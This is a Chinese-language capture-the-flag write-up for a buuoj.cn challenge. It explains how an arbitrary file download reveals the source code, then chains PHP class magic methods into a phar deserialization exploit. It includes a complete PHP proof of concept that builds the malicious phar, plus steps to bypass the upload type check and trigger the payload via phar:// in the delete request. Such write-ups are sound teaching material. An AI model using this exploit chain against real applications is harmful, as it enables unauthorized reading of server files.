平台:buuoj.cn
打开靶机注册登录之后是一个管理面板,有上传功能
上传文件试试看
可以下载,抓个包有任意文件下载
把文件都下下来
考点
phar反序列化
class.php中定义了三个类:User,Filelist,File
User类中除了三个用户处理函数外,在结束对象时会自动执行__destruct函数调用close()
Filelist类中存在一个特别的魔术方法,__call()
PHP5 的对象新增了一个专用方法 __call(),这个方法用来监视一个对象中的其它方法。如果你试着调用一个对象中不存在或被权限控制中的方法,__call 方法将会被自动调用。该函数会把不可调用的名作为第一个参数,方法作为第二个参数传入__call方法中执行
该方法遍历files数组,对每一个file变量执行一次$func,然后将结果存进$results数组。
最后结束时调用_destruct打印出$result和$func的信息
File类中定义了一个和User类中的同名函数close(),直接获取文件内容
从close()函数入手。
这个函数和Users中最后db调用的close()同名,File和Filelist中没有db变量,因此当db是FileList对象的一个变量时,User对象就会调用__destruct。
接着destruct函数触发FileList的close(),然而Filelist中没有close方法,因此__call()函数被调用,close()函数被传入__call执行。
Filelist对象销毁时,最后的__destruct函数就会自动执行,从而打印出__call中传入的$result和$func的信息,这就可以打印出flag的值
poc如下
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
关于这里为什么是flag.txt,有师傅说是前面任意文件下载代码给了提示
禁止下载flag.*的文件
执行生成phar文件
回到题目,将生成的phar文件上传
这里因为有文件类型检测,抓包改文件类型即可
然后由于download中
无法读取根目录的文件,所以只能利用delete
抓取删除的包用phar://协议读phar.gif文件即可